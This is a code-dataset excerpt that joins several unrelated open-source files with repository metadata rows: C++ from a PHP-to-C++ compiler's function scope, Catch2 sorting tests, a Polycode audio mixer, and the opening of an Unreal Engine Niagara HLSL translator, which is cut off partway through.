param->inferAndCheck(ar, Type::Variant, true);
} else if (!(param->getContext() & Expression::RefParameter)) {
param->clearContext(Expression::LValue);
param->clearContext(Expression::RefValue);
}
if (i < m_maxParam) {
TypePtr paramType = getParamType(i);
if (canSetParamType) {
paramType = setParamType(ar, i, expType);
}
if (!Type::IsLegalCast(ar, expType, paramType) &&
paramType->isNonConvertibleType()) {
param->inferAndCheck(ar, paramType, true);
}
param->setExpectedType(paramType);
}
}
return ret;
}
TypePtr FunctionScope::setParamType(AnalysisResultPtr ar, int index,
TypePtr type) {
ASSERT(index >= 0 && index < (int)m_paramTypes.size());
TypePtr paramType = m_paramTypes[index];
if (!paramType) paramType = NEW_TYPE(Some);
type = Type::Coerce(ar, paramType, type);
if (type && !Type::SameType(paramType, type)) {
ar->incNewlyInferred();
if (!ar->isFirstPass()) {
Logger::Verbose("Corrected paramter type %s -> %s",
paramType->toString().c_str(), type->toString().c_str());
}
}
m_paramTypes[index] = type;
return type;
}
TypePtr FunctionScope::getParamType(int index) {
ASSERT(index >= 0 && index < (int)m_paramTypes.size());
TypePtr paramType = m_paramTypes[index];
if (!paramType) {
paramType = NEW_TYPE(Some);
m_paramTypes[index] = paramType;
}
return paramType;
}
bool FunctionScope::isRefParam(int index) const {
ASSERT(index >= 0 && index < (int)m_refs.size());
return m_refs[index];
}
void FunctionScope::setRefParam(int index) {
ASSERT(index >= 0 && index < (int)m_refs.size());
m_refs[index] = true;
}
const std::string &FunctionScope::getParamName(int index) const {
ASSERT(index >= 0 && index < (int)m_paramNames.size());
return m_paramNames[index];
}
void FunctionScope::setParamName(int index, const std::string &name) {
ASSERT(index >= 0 && index < (int)m_paramNames.size());
m_paramNames[index] = name;
}
void FunctionScope::addModifier(int mod) {
if (!m_modifiers) {
m_modifiers =
ModifierExpressionPtr(new ModifierExpression(LocationPtr(),
Expression::KindOfModifierExpression));
}
m_modifiers->add(mod);
}
void FunctionScope::setStatic() {
if (!isStatic()) {
addModifier(T_STATIC);
}
}
void FunctionScope::setReturnType(AnalysisResultPtr ar, TypePtr type) {
// no change can be made to virtual function's prototype
if (m_overriding) return;
if (m_returnType) {
type = Type::Coerce(ar, m_returnType, type);
if (type && !Type::SameType(m_returnType, type)) {
ar->incNewlyInferred();
if (!ar->isFirstPass()) {
Logger::Verbose("Corrected function return type %s -> %s",
m_returnType->toString().c_str(),
type->toString().c_str());
}
}
}
if (!type->getName().empty()) {
FileScopePtr fs = getFileScope();
if (fs) fs->addClassDependency(ar, type->getName());
}
m_returnType = type;
}
void FunctionScope::setOverriding(TypePtr returnType,
TypePtr param1 /* = TypePtr() */,
TypePtr param2 /* = TypePtr() */) {
m_returnType = returnType;
m_overriding = true;
if (param1 && m_paramTypes.size() >= 1) m_paramTypes[0] = param1;
if (param2 && m_paramTypes.size() >= 2) m_paramTypes[1] = param2;
// TODO: remove this block and replace with stronger typing
// Right now, we have to avoid a situation where a parameter is assigned
// with different values, making them a Variant.
for (unsigned int i = 0; i < m_paramTypes.size(); i++) {
m_paramTypes[i] = Type::Variant;
}
}
///////////////////////////////////////////////////////////////////////////////
void FunctionScope::outputPHP(CodeGenerator &cg, AnalysisResultPtr ar) {
if (Option::GenerateInferredTypes && m_returnType) {
cg.printf("// @return %s\n", m_returnType->toString().c_str());
}
BlockScope::outputPHP(cg, ar);
}
void FunctionScope::outputCPP(CodeGenerator &cg, AnalysisResultPtr ar) {
for (int i = 0; i < m_callTempCountMax; i++) {
cg.printf("Variant %s%d;\n", Option::EvalOrderTempPrefix, i);
}
BlockScope::outputCPP(cg, ar);
}
void FunctionScope::outputCPPParamsDecl(CodeGenerator &cg,
AnalysisResultPtr ar,
ExpressionListPtr params,
bool showDefault) {
if (isVariableArgument()) {
cg.printf("int num_args, ");
if (params) {
params->outputCPP(cg, ar);
cg.printf(", ");
}
if (showDefault) {
cg.printf("Array args = Array()");
} else {
cg.printf("Array args /* = Array() */");
}
} else if (m_pseudoMain) {
if (showDefault) {
cg.printf("bool incOnce = false, LVariableTable* variables = NULL");
} else {
cg.printf("bool incOnce /* = false */, "
"LVariableTable* variables /* = NULL */");
}
} else if (params) {
params->outputCPP(cg, ar);
}
}
void FunctionScope::outputCPPParamsImpl(CodeGenerator &cg,
AnalysisResultPtr ar) {
int paramcount = getMaxParamCount();
if (isUserFunction()) {
outputCPPParamsDecl(cg, ar, dynamic_pointer_cast<MethodStatement>(getStmt())
->getParams(), false);
return;
}
bool first = true;
if (isVariableArgument()) {
cg.printf("int num_args");
first = false;
}
for (int i = 0; i < paramcount; i++) {
if (first) {
first = false;
} else {
cg.printf(", ");
}
TypePtr type = getParamType(i);
type->outputCPPDecl(cg, ar);
cg.printf(" a%d", i);
}
if (isVariableArgument()) {
cg.printf(", Array args /* = Array() */");
}
}
void FunctionScope::outputCPPParamsCall(CodeGenerator &cg,
AnalysisResultPtr ar,
bool aggregateParams) {
if (isVariableArgument()) {
cg.printf("num_args, ");
}
bool userFunc = isUserFunction();
ExpressionListPtr params;
if (userFunc) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
params = stmt->getParams();
}
if (aggregateParams) {
cg.printf("Array(");
if (m_maxParam) cg.printf("ArrayInit(%d).", m_maxParam);
}
for (int i = 0; i < m_maxParam; i++) {
if (i > 0) cg.printf(aggregateParams ? "." : ", ");
bool isRef;
if (userFunc) {
ParameterExpressionPtr param =
dynamic_pointer_cast<ParameterExpression>((*params)[i]);
isRef = param->isRef();
if (aggregateParams) cg.printf("set%s(%d, ", isRef ? "Ref" : "", i);
cg.printf("%sv_%s%s",
isRef ? "ref(" : "", param->getName().c_str(),
isRef ? ")" : "");
} else {
isRef = isRefParam(i);
if (aggregateParams) cg.printf("set%s(%d, ", isRef ? "Ref" : "", i);
cg.printf("%sa%d%s",
isRef ? "ref(" : "", i, isRef ? ")" : "");
}
if (aggregateParams) cg.printf(")");
}
if (aggregateParams) {
if (m_maxParam) cg.printf(".create()");
cg.printf(")");
}
if (isVariableArgument()) {
if (aggregateParams || m_maxParam > 0) cg.printf(",");
cg.printf("args");
}
}
void FunctionScope::outputCPPArguments(ExpressionListPtr params,
CodeGenerator &cg,
AnalysisResultPtr ar, int extraArg,
bool variableArgument,
int extraArgArrayId /* = -1 */) {
int paramCount = params ? params->getOutputCount() : 0;
ASSERT(extraArg <= paramCount);
int iMax = paramCount - extraArg;
bool extra = false;
if (variableArgument) {
if (paramCount == 0) {
cg.printf("0");
} else {
cg.printf("%d, ", paramCount);
}
}
bool hasEffect = params && params->controllingOrder();
int tempOffset = params ? params->tempOffset() : 0;
int firstExtra = 0;
for (int i = 0; i < paramCount; i++) {
ExpressionPtr param = (*params)[i];
cg.setItemIndex(i);
if (i > 0) cg.printf(extra ? "." : ", ");
if (!extra && (i == iMax || extraArg < 0)) {
if (extraArgArrayId != -1) {
if (cg.getOutput() == CodeGenerator::SystemCPP) {
cg.printf("SystemScalarArrays::%s[%d]",
Option::SystemScalarArrayName, extraArgArrayId);
} else {
cg.printf("ScalarArrays::%s[%d]",
Option::ScalarArrayName, extraArgArrayId);
}
break;
}
extra = true;
cg.printf("Array(ArrayInit(%d).", paramCount - i);
firstExtra = i;
}
if (extra) {
cg.printf("set(%d, ", i - firstExtra);
if (hasEffect && !param->isScalar()) {
cg.printf("%s%d", Option::EvalOrderTempPrefix, tempOffset + i);
} else {
param->outputCPP(cg, ar);
}
cg.printf(")");
} else {
if (hasEffect && !param->isScalar()) {
cg.printf("%s%d", Option::EvalOrderTempPrefix, tempOffset + i);
} else {
param->outputCPP(cg, ar);
}
}
}
if (extra) {
cg.printf(".create())");
}
}
void FunctionScope::outputCPPEffectiveArguments(ExpressionListPtr params,
CodeGenerator &cg,
AnalysisResultPtr ar) {
int paramCount = params ? params->getCount() : 0;
for (int i = 0; i < paramCount; i++) {
ExpressionPtr param = (*params)[i];
if (param->hasEffect()) {
param->outputCPP(cg, ar);
cg.printf(", ");
}
}
}
void FunctionScope::outputCPPDynamicInvoke(CodeGenerator &cg,
AnalysisResultPtr ar,
const char *funcPrefix,
const char *name,
bool voidWrapperOff /* = false */,
bool fewArgs /* = false */,
bool ret /* = true */,
const char *extraArg /* = NULL */) {
const char *voidWrapper = (m_returnType || voidWrapperOff) ? "" : ", null";
const char *retrn = ret ? "return " : "";
int maxParam = fewArgs ? (m_maxParam > Option::InvokeFewArgsCount ?
Option::InvokeFewArgsCount : m_maxParam)
: m_maxParam;
bool variable = isVariableArgument();
if (variable || getOptionalParamCount()) {
if (!fewArgs) {
cg.printf("int count = params.size();\n");
}
cg.printf("if (count <= %d) ", m_minParam);
}
stringstream callss;
callss << retrn << (m_refReturn ? "ref(" : "(") << funcPrefix << name << "(";
if (extraArg) {
callss << extraArg;
if (variable) {
callss << ",";
}
}
if (variable) {
callss << "count";
}
bool preArgs = variable || extraArg;
string call = callss.str();
cg.printf("%s", call.c_str());
for (int i = 0; i < m_minParam; i++) {
if (preArgs || i > 0) cg.printf(", ");
if (isRefParam(i)) {
if (fewArgs) {
cg.printf("ref(a%d)", i);
} else {
cg.printf("ref(const_cast<Array&>(params).lvalAt(%d))", i);
}
} else {
if (fewArgs) {
cg.printf("a%d", i);
} else {
cg.printf("params.rvalAt(%d)", i);
}
}
}
cg.printf(")%s);\n", voidWrapper);
for (int iMax = m_minParam + 1; iMax <= maxParam; iMax++) {
if (iMax < maxParam || variable) {
cg.printf("if (count == %d) ", iMax);
}
cg.printf("%s", call.c_str());
for (int i = 0; i < iMax; i++) {
if (preArgs || i > 0) cg.printf(", ");
if (isRefParam(i)) {
if (fewArgs) {
cg.printf("ref(a%d)", i);
} else {
cg.printf("ref(const_cast<Array&>(params).lvalAt(%d))", i);
}
} else {
if (fewArgs) {
cg.printf("a%d", i);
} else {
cg.printf("params.rvalAt(%d)", i);
}
}
}
cg.printf(")%s);\n", voidWrapper);
}
if (variable) {
if (fewArgs) {
if (maxParam == Option::InvokeFewArgsCount) return;
cg.printf("Array params;\n");
for (int i = maxParam; i < Option::InvokeFewArgsCount; i++) {
cg.printf(
"if (count >= %d) params.append(a%d);\n", i + 1, i);
}
}
cg.printf("%s,", call.c_str());
for (int i = 0; i < maxParam; i++) {
if (isRefParam(i)) {
if (fewArgs) {
cg.printf("ref(a%d), ", i);
} else {
cg.printf("ref(const_cast<Array&>(params).lvalAt(%d)), ", i);
}
} else {
if (fewArgs) {
cg.printf("a%d, ", i);
} else {
cg.printf("params.rvalAt(%d), ", i);
}
}
}
if (fewArgs) {
cg.printf("params)%s);\n", voidWrapper);
}
else {
cg.printf("params.slice(%d, count - %d, false))%s);\n",
maxParam, maxParam, voidWrapper);
}
}
}
void FunctionScope::outputCPPEvalInvoke(CodeGenerator &cg,
AnalysisResultPtr ar,
const char *funcPrefix,
const char *name,
bool profile,
const char *extraArg /* = NULL */) {
const char *voidWrapper = m_returnType ? "" : ", null";
const char *retrn = "return ";
int maxParam = m_maxParam;
bool variable = isVariableArgument();
stringstream callss;
callss << retrn << (m_refReturn ? "ref(" : "(") << funcPrefix << name << "(";
if (extraArg) {
callss << extraArg;
if (variable) {
callss << ",";
}
}
if (variable) {
callss << "count";
}
bool preArgs = variable || extraArg;
// Build temps
for (int i = 0; i < m_maxParam; i++) {
cg.printf("Variant a%d;\n", i);
}
cg.printf("const std::vector<Eval::ExpressionPtr> ¶ms = "
"caller->params();\n");
cg.printf("std::vector<Eval::ExpressionPtr>::const_iterator it = "
"params.begin();\n");
cg.indentBegin("do {\n");
for (int i = 0; i < m_maxParam; i++) {
cg.printf("if (it == params.end()) break;\n");
if (i < m_minParam && (preArgs || i > 0)) {
callss << ", ";
}
if (isRefParam(i)) {
if (i < m_minParam) callss << "ref(a" << i << ")";
cg.printf("a%d = ref((*it)->refval(env));\n", i);
} else {
if (i < m_minParam) callss << "a" << i;
cg.printf("a%d = (*it)->eval(env);\n", i);
}
cg.printf("it++;\n");
}
cg.indentEnd("} while(false);\n");
// Put extra args into vargs or just eval them
if (variable) {
cg.printf("Array vargs;\n");
}
cg.indentBegin("for (; it != params.end(); ++it) {\n");
const char *paramEval = "(*it)->eval(env)";
if (isReferenceVariableArgument()) {
paramEval = "ref((*it)->refval(env))";
}
if (variable) cg.printf("vargs.append(");
cg.printf(paramEval);
if (variable) cg.printf(")");
cg.printf(";\n");
cg.indentEnd("}\n");
if (profile) {
cg.printf("FUNCTION_INJECTION(%s);\n", name);
}
if (variable || getOptionalParamCount()) {
cg.printf("int count = params.size();\n");
cg.printf("if (count <= %d) ", m_minParam);
}
// No optional args
string call = callss.str();
cg.printf("%s", call.c_str());
cg.printf(")%s);\n", voidWrapper);
// Optional args
for (int iMax = m_minParam + 1; iMax <= maxParam; iMax++) {
if (iMax < maxParam || variable) {
cg.printf("if (count == %d) ", iMax);
}
cg.printf("%s", call.c_str());
for (int i = m_minParam; i < iMax; i++) {
if (i > 0 || preArgs) cg.printf(", ");
if (isRefParam(i)) {
cg.printf("ref(a%d)", i);
} else {
cg.printf("a%d", i);
}
}
cg.printf(")%s);\n", voidWrapper);
}
// Var args
if (variable) {
cg.printf("%s,", call.c_str());
for (int i = m_minParam; i < maxParam; i++) {
if (isRefParam(i)) {
cg.printf("ref(a%d), ", i);
} else {
cg.printf("a%d, ", i);
}
}
cg.printf("vargs)%s);\n", voidWrapper);
}
}
void FunctionScope::serialize(JSON::OutputStream &out) const {
JSON::MapStream ms(out);
int vis = 0;
if (isPublic()) vis = ClassScope::Public;
else if (isProtected()) vis = ClassScope::Protected;
else if (isPrivate()) vis = ClassScope::Protected;
int mod = 0;
if (isAbstract()) mod = ClassScope::Abstract;
else if (isFinal()) mod = ClassScope::Final;
if (!m_returnType) {
ms.add("retTp", -1);
} else if (m_returnType->isSpecificObject()) {
ms.add("retTp", m_returnType->getName());
} else {
ms.add("retTp", m_returnType->getKindOf());
}
ms.add("minArgs", m_minParam)
.add("maxArgs", m_maxParam)
.add("varArgs", isVariableArgument())
.add("static", isStatic())
.add("modifier", mod)
.add("visibility", vis)
.add("argIsRef", m_refs)
.done();
}
void FunctionScope::outputCPPCreateDecl(CodeGenerator &cg,
AnalysisResultPtr ar) {
ClassScopePtr scope = ar->getClassScope();
cg.printf("public: ObjectData *create(");
outputCPPParamsDecl(cg, ar,
dynamic_pointer_cast<MethodStatement>(getStmt())
->getParams(), true);
cg.printf(");\n");
cg.printf("public: ObjectData *dynCreate(CArrRef params, bool init = true);\n");
if (isDynamic())
cg.printf("public: void dynConstruct(CArrRef params);\n");
}
void FunctionScope::outputCPPCreateImpl(CodeGenerator &cg,
AnalysisResultPtr ar) {
ClassScopePtr scope = ar->getClassScope();
string clsNameStr = scope->getId();
const char *clsName = clsNameStr.c_str();
const char *consName = scope->classNameCtor() ? scope->getName().c_str()
: "__construct";
cg.printf("ObjectData *%s%s::create(",
Option::ClassPrefix, clsName);
outputCPPParamsImpl(cg, ar);
cg.indentBegin(") {\n");
cg.printf("init();\n");
cg.printf("%s%s(", Option::MethodPrefix, consName);
outputCPPParamsCall(cg, ar, false);
cg.printf(");\n");
cg.printf("return this;\n");
cg.indentEnd("}\n");
cg.indentBegin("ObjectData *%s%s::dynCreate(CArrRef params, "
"bool init /* = true */) {\n",
Option::ClassPrefix, clsName);
cg.indentBegin("if (init) {\n");
outputCPPDynamicInvoke(cg, ar, "","create",
true);
cg.indentEnd("} else return this;\n");
cg.indentEnd("}\n");
if (isDynamic()) {
cg.indentBegin("void %s%s::dynConstruct(CArrRef params) {\n",
Option::ClassPrefix, clsName);
outputCPPDynamicInvoke(cg, ar, Option::MethodPrefix,
consName, true, false, false);
cg.indentEnd("}\n");
}
}
void FunctionScope::outputCPPClassMap(CodeGenerator &cg, AnalysisResultPtr ar){
int attribute = ClassInfo::IsNothing;
if (!isUserFunction()) attribute |= ClassInfo::IsSystem;
if (isRedeclaring()) attribute |= ClassInfo::IsRedeclared;
if (isVolatile()) attribute |= ClassInfo::IsVolatile;
if (isRefReturn()) attribute |= ClassInfo::IsReference;
if (isProtected()) {
attribute |= ClassInfo::IsProtected;
} else if (isPrivate()) {
attribute |= ClassInfo::IsPrivate;
} else {
attribute |= ClassInfo::IsPublic;
}
if (isAbstract()) attribute |= ClassInfo::IsAbstract;
if (isStatic()) attribute |= ClassInfo::IsStatic;
if (isFinal()) attribute |= ClassInfo::IsFinal;
cg.printf("(const char *)0x%04X, \"%s\", NULL, NULL,\n", attribute,
m_name.c_str());
for (int i = 0; i < m_maxParam; i++) {
int attr = ClassInfo::IsNothing;
if (i >= m_minParam) attr |= ClassInfo::IsOptional;
if (isRefParam(i)) attr |= ClassInfo::IsReference;
cg.printf("(const char *)0x%04X, \"%s\", \"%s\", \"%s\",\n",
attr, m_paramNames[i].c_str(),
Util::toLower(m_paramTypes[i]->getPHPName()).c_str(),
(i >= m_minParam ? "1" : ""));
}
cg.printf("NULL,\n");
m_variables->outputCPPStaticVariables(cg, ar);
}
| 31.962025 | 82 | 0.577558 | paramah |
4dfeab4b98f8f52ff5827c4afa67ae550c330e27 | 1,080 | cpp | C++ | src/algorithms/sorting/25.7.1.1.sort.cpp | fvarose/cpp-standard | 4a70bce440ef0c292d4cacd603331c590f5e4aed | [
"MIT"
] | null | null | null | src/algorithms/sorting/25.7.1.1.sort.cpp | fvarose/cpp-standard | 4a70bce440ef0c292d4cacd603331c590f5e4aed | [
"MIT"
] | null | null | null | src/algorithms/sorting/25.7.1.1.sort.cpp | fvarose/cpp-standard | 4a70bce440ef0c292d4cacd603331c590f5e4aed | [
"MIT"
] | 1 | 2018-10-21T10:50:27.000Z | 2018-10-21T10:50:27.000Z | #include <catch2/catch_all.hpp>
#include <algorithm>
#include <vector>
using namespace Catch::Matchers;
TEST_CASE("25.7.1.1 sort") {
auto unsorted = std::vector<int>{1, 3, 0, 2};
SECTION("sort sorts a collection in place using the default operator<") {
auto expected = std::vector<int>{0, 1, 2, 3};
std::sort(unsorted.begin(), unsorted.end());
CHECK_THAT(unsorted, Equals(expected));
}
SECTION("sort sorts a collection in place using a comparison function") {
auto expected = std::vector<int>{3, 2, 1, 0};
auto compare = std::function<bool(int, int)>();
SECTION("using a standard library compare function object") {
compare = std::greater<int>();
}
SECTION("using a lambda") {
compare = [](int a, int b) { return a > b; };
}
SECTION("using a custom function object") {
struct CustomLess {
bool operator()(int a, int b) const { return a > b; }
};
compare = CustomLess{};
}
std::sort(unsorted.begin(), unsorted.end(), compare);
CHECK_THAT(unsorted, Equals(expected));
}
}
| 26.341463 | 75 | 0.623148 | fvarose |
1501eb88daa648d30ab0bfe9f24f24afa73cf5e9 | 705 | cpp | C++ | source/aufgabe13.cpp | Graunarmin/programmiersprachen-aufgabenblatt-3 | c4a5f2c473460be02a73c819064b7deab85731b8 | [
"MIT"
] | null | null | null | source/aufgabe13.cpp | Graunarmin/programmiersprachen-aufgabenblatt-3 | c4a5f2c473460be02a73c819064b7deab85731b8 | [
"MIT"
] | null | null | null | source/aufgabe13.cpp | Graunarmin/programmiersprachen-aufgabenblatt-3 | c4a5f2c473460be02a73c819064b7deab85731b8 | [
"MIT"
] | null | null | null | # define CATCH_CONFIG_RUNNER
# include <catch.hpp>
# include "aufgabe13.hpp"
void print(const std::vector<Circle> &vec)
{
for(const auto& i: vec){
std::cout << i.radius_ << ' ';
std::cout << std::endl;
}
}
TEST_CASE("Kreise sortieren", "[sort]")
{
std::vector<Circle> vCircles(10);
for(auto& i: vCircles)
{
i = Circle{std::rand() % 50, Vec2{std::rand() % 50, std::rand()%50}};
}
std::cout<< "Kreisradien: \n";
print(vCircles);
std::sort(vCircles.begin(), vCircles.end(), compare());
std::cout<< "Und sortiert mit functor: \n";
print(vCircles);
REQUIRE(std::is_sorted(vCircles.begin(), vCircles.end()));
}
int main(int argc, char* argv[]){
return Catch::Session().run(argc, argv);
}
| 20.142857 | 71 | 0.636879 | Graunarmin |
15020f3a25c179d76d59ce59fb3588b5fb4cfaec | 5,192 | cpp | C++ | src/core/PolySoundManager.cpp | my-digital-decay/Polycode | 5dd1836bc4710aea175a77433c17696f8330f596 | [
"MIT"
] | null | null | null | src/core/PolySoundManager.cpp | my-digital-decay/Polycode | 5dd1836bc4710aea175a77433c17696f8330f596 | [
"MIT"
] | null | null | null | src/core/PolySoundManager.cpp | my-digital-decay/Polycode | 5dd1836bc4710aea175a77433c17696f8330f596 | [
"MIT"
] | null | null | null | /*
Copyright (C) 2011 by Ivan Safrin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "polycode/core/PolySoundManager.h"
#include "polycode/core/PolyCore.h"
#include "polycode/core/PolyLogger.h"
#include <stdint.h>
#include <limits>
using namespace Polycode;
#ifndef INT16_MAX
#define INT16_MAX (std::numeric_limits<int16_t>::max())
#endif
SoundManager::SoundManager() {
audioInterface = NULL;
testVal = 0.0;
leftOver = 0.0;
mixer = new AudioMixer();
mixer->globalVolume = 1.0;
}
void SoundManager::setGlobalVolume(Number globalVolume) {
mixer->globalVolume = globalVolume;
}
void SoundManager::setListenerPosition(const Vector3 &position) {
if(mixer) {
mixer->listenerPosition = position;
}
}
void SoundManager::setListenerOrientation(const Quaternion &orientation) {
if(mixer) {
mixer->listenerOrientation = orientation;
}
}
bool SoundManager::recordSound(unsigned int rate, unsigned int sampleSize) {
// NOAL_TODO
/*
if(captureDevice) {
Logger::log("Error: Audio capture already in progress\n");
return false;
}
captureDevice = alcCaptureOpenDevice(NULL, rate, AL_FORMAT_STEREO16, sampleSize);
if (alGetError() != AL_NO_ERROR) {
captureDevice = NULL;
return false;
}
recordingBufferRate = rate;
recordingBuffer = (ALbyte*) malloc(1);
recordingBufferSize = 0;
alcCaptureStart(captureDevice);
return true;
*/
return false;
}
Sound *SoundManager::stopRecording(bool generateFloatBuffer) {
/*
if(!captureDevice) {
Logger::log("No recording in process\n");
return NULL;
}
alcCaptureStop(captureDevice);
alcCaptureCloseDevice(captureDevice);
captureDevice = NULL;
Sound *newSound = new Sound(recordingBufferSize, (const char*)recordingBuffer, 2, recordingBufferRate, 16, generateFloatBuffer);
free(recordingBuffer);
return newSound;
*/
// NOAL_TODO
return NULL;
}
void SoundManager::registerSound(Sound *sound) {
mixer->mixerMutex.lock();
mixer->sounds.push_back(sound);
mixer->mixerMutex.unlock();
}
void SoundManager::unregisterSound(Sound *sound) {
mixer->mixerMutex.lock();
for(int i=0; i < mixer->sounds.size(); i++) {
if(mixer->sounds[i] == sound) {
mixer->sounds.erase(mixer->sounds.begin()+i);
mixer->mixerMutex.unlock();
return;
}
}
mixer->mixerMutex.unlock();
}
void SoundManager::setAudioInterface(AudioInterface *audioInterface) {
this->audioInterface = audioInterface;
if(audioInterface) {
audioInterface->setMixer(mixer);
}
}
AudioInterface::~AudioInterface() {
}
AudioInterface::AudioInterface() {
}
void AudioInterface::setMixer(AudioMixer *mixer) {
this->mixer = mixer;
}
AudioMixer *AudioInterface::getMixer() {
return mixer;
}
inline Number mixSamples(Number A, Number B) {
if (A < 0 && B < 0 ) {
return (A + B) - (A * B)/-1.0;
} else if (A > 0 && B > 0 ) {
return (A + B) - (A * B)/1.0;
} else {
return A + B;
}
}
AudioMixer::AudioMixer() {
}
AudioMixer::~AudioMixer() {
}
void AudioMixer::mixIntoBuffer(int16_t *buffer, unsigned int numSamples) {
mixerMutex.lock();
if (sounds.size() == 0) {
memset(buffer, 0, sizeof(int16_t) * numSamples * POLY_NUM_CHANNELS);
mixerMutex.unlock();
return;
}
for(int i=0; i < sounds.size(); i++) {
sounds[i]->updateStream(numSamples);
}
int16_t *bufferPtr = buffer;
for(int i=0; i < numSamples; i++) {
Number mixResults[POLY_NUM_CHANNELS];
memset(mixResults, 0, sizeof(Number) * POLY_NUM_CHANNELS);
int mixNum = 0;
for(int i=0; i < sounds.size(); i++) {
if(sounds[i]->isPlaying()) {
for(int c=0; c < POLY_NUM_CHANNELS; c++) {
Number sampleA = mixResults[c];
Number sampleB = sounds[i]->getSampleAsNumber(sounds[i]->getOffset(), c, listenerPosition, listenerOrientation);
if(mixNum == 0) {
mixResults[c] = sampleB;
} else {
mixResults[c] = mixSamples(sampleA, sampleB);
}
}
sounds[i]->setOffset(sounds[i]->getOffset()+1);
mixNum++;
}
}
for(int c=0; c < POLY_NUM_CHANNELS; c++) {
*bufferPtr = (int16_t)(((Number)INT16_MAX) * (mixResults[c] * globalVolume));
bufferPtr++;
}
}
mixerMutex.unlock();
}
void SoundManager::Update() {
}
SoundManager::~SoundManager() {
delete audioInterface;
}
| 24.606635 | 129 | 0.704931 | my-digital-decay |
1503a790b977026bc5d94c48db8aee6736f537b5 | 155,398 | cpp | C++ | Engine/Plugins/FX/Niagara/Source/NiagaraEditor/Private/NiagaraHlslTranslator.cpp | windystrife/UnrealEngine_NVIDIAGameWork | b50e6338a7c5b26374d66306ebc7807541ff815e | [
"MIT"
] | 1 | 2022-01-29T18:36:12.000Z | 2022-01-29T18:36:12.000Z | Engine/Plugins/FX/Niagara/Source/NiagaraEditor/Private/NiagaraHlslTranslator.cpp | windystrife/UnrealEngine_NVIDIAGameWork | b50e6338a7c5b26374d66306ebc7807541ff815e | [
"MIT"
] | null | null | null | Engine/Plugins/FX/Niagara/Source/NiagaraEditor/Private/NiagaraHlslTranslator.cpp | windystrife/UnrealEngine_NVIDIAGameWork | b50e6338a7c5b26374d66306ebc7807541ff815e | [
"MIT"
] | null | null | null | // Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.
#include "NiagaraHlslTranslator.h"
#include "NiagaraComponent.h"
#include "NiagaraGraph.h"
#include "NiagaraScriptSource.h"
#include "EdGraphUtilities.h"
#include "UObject/UObjectHash.h"
#include "NiagaraNode.h"
#include "NiagaraNodeFunctionCall.h"
#include "NiagaraNodeInput.h"
#include "NiagaraNodeOutput.h"
#include "NiagaraNodeReadDataSet.h"
#include "NiagaraNodeWriteDataSet.h"
#include "NiagaraNodeParameterMapGet.h"
#include "NiagaraNodeParameterMapSet.h"
#include "NiagaraNodeParameterCollection.h"
#include "NiagaraNodeOp.h"
#include "NiagaraNodeConvert.h"
#include "EdGraphSchema_Niagara.h"
#include "Interfaces/ITargetPlatformManagerModule.h"
#include "Interfaces/IShaderFormat.h"
#include "ShaderFormatVectorVM.h"
#include "NiagaraConstants.h"
#include "NiagaraSystem.h"
#include "NiagaraNodeEmitter.h"
#include "INiagaraEditorTypeUtilities.h"
#include "NiagaraEditorUtilities.h"
#include "NiagaraDataInterface.h"
#include "NiagaraDataInterfaceCurve.h"
#include "NiagaraDataInterfaceVector2DCurve.h"
#include "NiagaraDataInterfaceVectorCurve.h"
#include "NiagaraDataInterfaceVector4Curve.h"
#include "NiagaraDataInterfaceColorCurve.h"
#include "NiagaraDataInterfaceStaticMesh.h"
#include "NiagaraDataInterfaceCurlNoise.h"
#include "NiagaraParameterCollection.h"
#include "NiagaraEditorTickables.h"
#include "ShaderCore.h"
#define LOCTEXT_NAMESPACE "NiagaraCompiler"
static FNiagaraShaderQueueTickable NiagaraShaderQueueProcessor;
FNiagaraShaderProcessorTickable NiagaraShaderProcessor;
// not pretty. TODO: refactor
// this will be called via a delegate from UNiagaraScript's cache for cook function,
// because editor tickables aren't ticked during cooking
void FNiagaraShaderQueueTickable::ProcessQueue()
{
for (FNiagaraCompilationQueue::NiagaraCompilationQueueItem &Item : FNiagaraCompilationQueue::Get()->GetQueue())
{
FNiagaraScript *Script = Item.Script;
UNiagaraScript* CompilableScript = Script->GetGTScript();
// For now System scripts don't generate HLSL and go through a special pass...
// [OP] thinking they'll likely never run on GPU anyways
if (CompilableScript->IsValidLowLevel() == false || CompilableScript->IsSystemSpawnScript() || CompilableScript->IsSystemUpdateScript() || CompilableScript->IsEmitterSpawnScript() || CompilableScript->IsEmitterUpdateScript())
{
continue;
}
TRefCountPtr<FNiagaraShaderMap>NewShaderMap = Item.ShaderMap;
FNiagaraComputeShaderCompilationOutput NewCompilationOutput;
FHlslNiagaraTranslator NiagaraTranslator;
FHlslNiagaraTranslatorOptions Options;
Options.SimTarget = ENiagaraSimTarget::GPUComputeSim;
bool bNeedsPostCompile = false;
if (CompilableScript->GetSource()->IsPreCompiled() == false)
{
CompilableScript->GetSource()->PreCompile(Cast<UNiagaraEmitter>(CompilableScript->GetOuter()));
bNeedsPostCompile = true;
}
FNiagaraTranslateResults Results = NiagaraTranslator.Translate(CompilableScript, Options);
if (bNeedsPostCompile)
{
CompilableScript->GetSource()->PostCompile();
}
Script->SetDatainterfaceBufferDescriptors(NiagaraTranslator.GetDatainterfaceBufferDescriptors());
// make sure buffers are set up on the original script
for (int32 i = 0; i < NiagaraTranslator.GetDatainterfaceBufferDescriptors().Num(); i++)
{
if (CompilableScript->DataInterfaceInfo.Num() > i)
{
CompilableScript->DataInterfaceInfo[i].DataInterface->SetupBuffers(NiagaraTranslator.GetDatainterfaceBufferDescriptors()[i]);
}
}
